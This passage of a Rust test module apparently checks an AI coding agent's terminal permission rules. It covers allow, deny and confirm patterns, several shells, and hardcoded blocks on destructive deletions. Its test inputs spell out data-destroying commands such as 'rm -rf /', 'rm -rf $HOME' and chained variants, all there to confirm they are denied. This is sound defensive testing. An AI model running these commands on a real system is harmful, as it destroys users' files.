1007        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1008        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1009    }
1010
1011    #[test]
1012    fn case_sensitive_allow() {
1013        t("cargo test")
1014            .allow_case_sensitive(&[pattern("cargo")])
1015            .is_allow();
1016        t("CARGO TEST")
1017            .allow_case_sensitive(&[pattern("cargo")])
1018            .is_confirm();
1019    }
1020
1021    #[test]
1022    fn case_sensitive_deny() {
1023        t("rm -rf ./temp")
1024            .deny_case_sensitive(&[pattern("rm")])
1025            .is_deny();
1026        t("RM -RF ./temp")
1027            .deny_case_sensitive(&[pattern("rm")])
1028            .mode(ToolPermissionMode::Allow)
1029            .is_allow();
1030    }
1031
1032    #[test]
1033    fn nushell_allows_with_allow_pattern() {
1034        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1035    }
1036
1037    #[test]
1038    fn nushell_allows_deny_patterns() {
1039        t("rm -rf ./temp")
1040            .deny(&["rm\\s+-rf"])
1041            .shell(ShellKind::Nushell)
1042            .is_deny();
1043    }
1044
1045    #[test]
1046    fn nushell_allows_confirm_patterns() {
1047        t("sudo reboot")
1048            .confirm(&["sudo"])
1049            .shell(ShellKind::Nushell)
1050            .is_confirm();
1051    }
1052
1053    #[test]
1054    fn nushell_no_allow_patterns_uses_default() {
1055        t("ls")
1056            .deny(&["rm"])
1057            .mode(ToolPermissionMode::Allow)
1058            .shell(ShellKind::Nushell)
1059            .is_allow();
1060    }
1061
1062    #[test]
1063    fn elvish_allows_with_allow_pattern() {
1064        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1065    }
1066
1067    #[test]
1068    fn rc_allows_with_allow_pattern() {
1069        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1070    }
1071
1072    #[test]
1073    fn multiple_invalid_patterns_pluralizes_message() {
1074        let mut tools = collections::HashMap::default();
1075        tools.insert(
1076            Arc::from(TerminalTool::NAME),
1077            ToolRules {
1078                default_mode: ToolPermissionMode::Allow,
1079                always_allow: vec![],
1080                always_deny: vec![],
1081                always_confirm: vec![],
1082                invalid_patterns: vec![
1083                    InvalidRegexPattern {
1084                        pattern: "[bad1".into(),
1085                        rule_type: "always_deny".into(),
1086                        error: "err1".into(),
1087                    },
1088                    InvalidRegexPattern {
1089                        pattern: "[bad2".into(),
1090                        rule_type: "always_allow".into(),
1091                        error: "err2".into(),
1092                    },
1093                ],
1094            },
1095        );
1096        let p = ToolPermissions { tools };
1097
1098        let result = ToolPermissionDecision::from_input(
1099            TerminalTool::NAME,
1100            "echo hi",
1101            &p,
1102            false,
1103            ShellKind::Posix,
1104        );
1105        match result {
1106            ToolPermissionDecision::Deny(msg) => {
1107                assert!(
1108                    msg.contains("2 regex patterns"),
1109                    "Expected '2 regex patterns' in message, got: {}",
1110                    msg
1111                );
1112            }
1113            other => panic!("Expected Deny, got {:?}", other),
1114        }
1115    }
1116
1117    // Hardcoded security rules tests - these rules CANNOT be bypassed
1118
1119    #[test]
1120    fn hardcoded_blocks_rm_rf_root() {
1121        t("rm -rf /").is_deny();
1122        t("rm -fr /").is_deny();
1123        t("rm -RF /").is_deny();
1124        t("rm -FR /").is_deny();
1125        t("rm -r -f /").is_deny();
1126        t("rm -f -r /").is_deny();
1127        t("RM -RF /").is_deny();
1128    }
1129
1130    #[test]
1131    fn hardcoded_blocks_rm_rf_home() {
1132        t("rm -rf ~").is_deny();
1133        t("rm -fr ~").is_deny();
1134        t("rm -rf ~/").is_deny();
1135        t("rm -rf $HOME").is_deny();
1136        t("rm -fr $HOME").is_deny();
1137        t("rm -rf $HOME/").is_deny();
1138        t("rm -rf ${HOME}").is_deny();
1139        t("rm -rf ${HOME}/").is_deny();
1140        t("rm -RF $HOME").is_deny();
1141        t("rm -FR ${HOME}/").is_deny();
1142        t("rm -R -F ${HOME}/").is_deny();
1143        t("RM -RF ~").is_deny();
1144    }
1145
1146    #[test]
1147    fn hardcoded_blocks_rm_rf_dot() {
1148        t("rm -rf .").is_deny();
1149        t("rm -fr .").is_deny();
1150        t("rm -rf ./").is_deny();
1151        t("rm -rf ..").is_deny();
1152        t("rm -fr ..").is_deny();
1153        t("rm -rf ../").is_deny();
1154        t("rm -RF .").is_deny();
1155        t("rm -FR ../").is_deny();
1156        t("rm -R -F ../").is_deny();
1157        t("RM -RF .").is_deny();
1158        t("RM -RF ..").is_deny();
1159    }
1160
1161    #[test]
1162    fn hardcoded_cannot_be_bypassed_by_global() {
1163        // Even with always_allow_tool_actions=true, hardcoded rules block
1164        t("rm -rf /").global(true).is_deny();
1165        t("rm -rf ~").global(true).is_deny();
1166        t("rm -rf $HOME").global(true).is_deny();
1167        t("rm -rf .").global(true).is_deny();
1168        t("rm -rf ..").global(true).is_deny();
1169    }
1170
1171    #[test]
1172    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1173        // Even with an allow pattern that matches, hardcoded rules block
1174        t("rm -rf /").allow(&[".*"]).is_deny();
1175        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1176        t("rm -rf .").allow(&[".*"]).is_deny();
1177        t("rm -rf ..").allow(&[".*"]).is_deny();
1178    }
1179
1180    #[test]
1181    fn hardcoded_allows_safe_rm() {
1182        // rm -rf on a specific path should NOT be blocked
1183        t("rm -rf ./build")
1184            .mode(ToolPermissionMode::Allow)
1185            .is_allow();
1186        t("rm -rf /tmp/test")
1187            .mode(ToolPermissionMode::Allow)
1188            .is_allow();
1189        t("rm -rf ~/Documents")
1190            .mode(ToolPermissionMode::Allow)
1191            .is_allow();
1192        t("rm -rf $HOME/Documents")
1193            .mode(ToolPermissionMode::Allow)
1194            .is_allow();
1195        t("rm -rf ../some_dir")
1196            .mode(ToolPermissionMode::Allow)
1197            .is_allow();
1198        t("rm -rf .hidden_dir")
1199            .mode(ToolPermissionMode::Allow)
1200            .is_allow();
1201    }
1202
1203    #[test]
1204    fn hardcoded_checks_chained_commands() {
1205        // Hardcoded rules should catch dangerous commands in chains
1206        t("ls && rm -rf /").is_deny();
1207        t("echo hello; rm -rf ~").is_deny();
1208        t("cargo build && rm -rf /").global(true).is_deny();
1209        t("echo hello; rm -rf $HOME").is_deny();
1210        t("echo hello; rm -rf .").is_deny();
1211        t("echo hello; rm -rf ..").is_deny();
1212    }
1213}